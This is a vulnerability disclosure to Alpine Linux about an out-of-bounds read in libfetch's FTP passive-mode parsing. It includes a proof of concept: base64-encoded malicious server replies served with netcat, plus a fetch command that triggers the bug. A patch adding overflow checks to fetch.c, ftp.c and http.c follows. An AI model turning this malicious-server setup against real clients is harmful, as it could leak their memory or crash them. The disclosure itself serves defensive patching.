libfetch information leak or crash

Dear Alpine Linux team,

I have discovered a potentially security-relevant issue in libfetch. It is used in apk and I have reported the issue to FreeBSD upstream. Maybe you want to be informed about this before it is fixed there.

This is the mail I have just sent to the FreeBSD security team.

Problem:

The passive mode in FTP communication allows an out of boundary read while libfetch uses strtol to parse the relevant numbers into address bytes. It does not check if the line ends prematurely. If it does, the for-loop condition checks for *p == '\0' one byte too late because p++ was already performed.

Impact:

The connection buffer size can be controlled by a malicious FTP server because the size is increased until a newline is encountered (or no more characters are read). This also allows to move the buffer into more interesting areas within the address space, potentially parsing relevant numbers for the attacker.

Since these bytes become available to the server in form of a new TCP connection to a constructed port number or even part of the IPv6 address this is a potential information leak.

Proof of Concept:

Set up the malicious FTP server like this

cat > replies.txt.b64 << EOF
begin-base64 644 replies.txt
MjIwIG9rCjIzMCBvawoyNTcgIi8iCjIwMCBvawoyMDAgb2sKMjEzIDE4NDQ2NzQ0MDczNzA5NTUx
NjE2CjIxMyAwMDAwMDAwMDAwMDAwMAoyMDAgb2sKMjAwIG9rCjIyOCAxCjIyOCAxMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTEx
====
EOF
b64decode -o replies.txt replies.txt.b64
nc -Nl ::1 21 < replies.txt

Compile libfetch and fetch with CFLAGS="-fsanitize=address -fsanitize=undefined" and start client

fetch 'ftp://[::1]/poc'

Considerations:

Since libfetch is used outside of FreeBSD as well, e.g. in Alpine Linux package keeper apk, I recommend to issue a CVE for this so these users are informed about the patch as well.

The information leak is fixed in the second ftp.c patch chunk.

Sincerely, Samanta

Index: fetch.c
===================================================================
--- fetch.c	(revision 370066)
+++ fetch.c	(working copy)
@@ -421,7 +421,7 @@
 	/* port */
 	if (*p == ':') {
 		for (n = 0, q = ++p; *q && (*q != '/'); q++) {
-			if (*q >= '0' && *q <= '9' && n < INT_MAX / 10) {
+			if (*q >= '0' && *q <= '9' && n < IPPORT_MAX) {
 				n = n * 10 + (*q - '0');
 			} else {
 				/* invalid port */
Index: ftp.c
===================================================================
--- ftp.c	(revision 370066)
+++ ftp.c	(working copy)
@@ -424,8 +424,14 @@
 	}
 	for (ln = conn->buf + 4; *ln && isspace((unsigned char)*ln); ln++)
 		/* nothing */ ;
-	for (us->size = 0; *ln && isdigit((unsigned char)*ln); ln++)
+	for (us->size = 0; *ln && isdigit((unsigned char)*ln); ln++) {
+		if (us->size > OFF_MAX / 10 - (*ln - '0')) {
+			ftp_seterr(FTP_PROTOCOL_ERROR);
+			us->size = -1;
+			return (-1);
+		}
 		us->size = us->size * 10 + *ln - '0';
+	}
 	if (*ln && !isspace((unsigned char)*ln)) {
 		ftp_seterr(FTP_PROTOCOL_ERROR);
 		us->size = -1;
@@ -704,8 +710,11 @@
 				goto ouch;
 			}
 			l = (e == FTP_PASSIVE_MODE ? 6 : 21);
-			for (i = 0; *p && i < l; i++, p++)
+			for (i = 0; *p && i < l; i++, p++) {
 				addr[i] = strtol(p, &p, 10);
+				if (*p == '\0' && i < l - 1)
+					break;
+			}
 			if (i < l) {
 				e = FTP_PROTOCOL_ERROR;
 				goto ouch;
Index: http.c
===================================================================
--- http.c	(revision 370066)
+++ http.c	(working copy)
@@ -163,11 +163,15 @@
 		if (!isxdigit((unsigned char)*p))
 			return (-1);
 		if (isdigit((unsigned char)*p)) {
+			if (io->chunksize > OFF_MAX / 16 - (*p - '0'))
+				return (-1);
 			io->chunksize = io->chunksize * 16 +
 			    *p - '0';
 		} else {
-			io->chunksize = io->chunksize * 16 +
-			    10 + tolower((unsigned char)*p) - 'a';
+			int digit = 10 + tolower((unsigned char)*p) - 'a';
+			if (io->chunksize > OFF_MAX / 16 - digit)
+				return (-1);
+			io->chunksize = io->chunksize * 16 + digit;
 		}
 	}
 
@@ -908,8 +912,11 @@
 {
 	off_t len;
 
-	for (len = 0; *p && isdigit((unsigned char)*p); ++p)
+	for (len = 0; *p && isdigit((unsigned char)*p); ++p) {
+		if (len > OFF_MAX / 10 - (*p - '0'))
+			return (-1);
 		len = len * 10 + (*p - '0');
+	}
 	if (*p)
 		return (-1);
 	DEBUGF("content length: [%lld]\n", (long long)len);
@@ -932,17 +939,26 @@
 		first = last = -1;
 		++p;
 	} else {
-		for (first = 0; *p && isdigit((unsigned char)*p); ++p)
+		for (first = 0; *p && isdigit((unsigned char)*p); ++p) {
+			if (first > OFF_MAX / 10 - (*p - '0'))
+				return (-1);
 			first = first * 10 + *p - '0';
+		}
 		if (*p != '-')
 			return (-1);
-		for (last = 0, ++p; *p && isdigit((unsigned char)*p); ++p)
+		for (last = 0, ++p; *p && isdigit((unsigned char)*p); ++p) {
+			if (last > OFF_MAX / 10 - (*p - '0'))
+				return (-1);
 			last = last * 10 + *p - '0';
+		}
 	}
 	if (first > last || *p != '/')
 		return (-1);
-	for (len = 0, ++p; *p && isdigit((unsigned char)*p); ++p)
+	for (len = 0, ++p; *p && isdigit((unsigned char)*p); ++p) {
+		if (len > OFF_MAX / 10 - (*p - '0'))
+			return (-1);
 		len = len * 10 + *p - '0';
+	}
 	if (*p || len < last - first + 1)
 		return (-1);
 	if (first == -1) {